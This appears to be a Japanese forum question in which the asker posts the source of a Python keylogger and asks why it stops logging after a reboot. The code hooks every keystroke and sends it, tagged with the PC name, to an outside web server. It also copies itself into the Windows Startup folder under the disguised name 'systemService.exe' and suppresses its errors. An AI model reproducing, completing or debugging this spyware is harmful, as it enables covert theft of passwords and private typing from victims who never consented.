
起動時に自動的に実行されるPythonキーロガーを作成しようとしています。これがPythonコードです
import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys
userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName
if os.path.exists(filePath):
if os.path.isfile(filePath+'systemService.exe')==False:
try:
shutil.copy2(sys.argv[0],filePath+'systemService.exe')
except:
pass
def OnKeyBoardEvent(event):
try:
params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
conn.request("GET","/index.php?"+params)
except:
pass
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
このキーロガーは、php を使用して、コードで指定されたサーバーにすべての ASCII データを記録します。この pyw ファイルを実行すると正常に動作しますが、PC を再起動すると、サーバー上のファイルにログインしません。このプログラムがスタートアップ ディレクトリに存在し、再起動後にバックグラウンドで実行されていることを再度確認しました。しかし、まだサーバー ファイルにデータが記録されません。